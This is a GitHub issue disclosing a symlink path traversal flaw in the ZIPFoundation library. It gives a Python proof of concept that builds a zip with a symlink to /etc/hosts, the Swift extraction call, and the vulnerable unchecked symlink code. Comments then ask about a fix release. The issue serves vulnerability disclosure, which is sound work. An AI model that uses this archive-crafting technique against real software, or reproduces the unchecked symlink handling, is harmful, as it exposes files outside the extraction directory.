Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Symlink path traversal vulnerability #282

Closed
BlueSquare1 opened this issue Jul 24, 2023 · 3 comments · Fixed by #306
Closed

Symlink path traversal vulnerability #282

BlueSquare1 opened this issue Jul 24, 2023 · 3 comments · Fixed by #306

Comments

@BlueSquare1
Copy link

Summary

The package does not check if symlinks are pointing to paths outside the extraction directory

Steps to Reproduce

1- Generate payload.zip using the following code:

import zipfile

def compress_file(filename):
    zipInfo = zipfile.ZipInfo(".")
    zipInfo.create_system = 3
    zipInfo.external_attr = 2716663808
    zipInfo.filename = filename
    
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(zipInfo, "/etc/hosts")

filename = 'evil_symlink'

compress_file(filename)

2- Extract payload.zip using unzipItem

import Foundation
import ZIPFoundation

let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")

do {
    try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
    try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
    print("Extraction of ZIP archive failed with error:\(error)")
}

Expected Results

evil_symlink is not linked back after extraction

Actual Results

evil_symlink is linked back after extraction

Technical details

Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink without checking that it is located within extraction directory

case .symlink:
    guard !fileManager.itemExists(at: url) else {
        throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
    }
    let consumer = { (data: Data) in
        guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
        try fileManager.createParentDirectoryStructure(for: url)
        try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
    }
    checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
                                progress: progress, consumer: consumer)
}
@mikemike396
Copy link

We just got this warning in snyk. Has anyone found a workaround?

@MarcoEidinger
Copy link

Awesome work @weichsel to fix this and other vulnerabilities! When do you plan to publish a new release?

@pravinlondhe
Copy link

@weichsel when will be next release with this fix?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants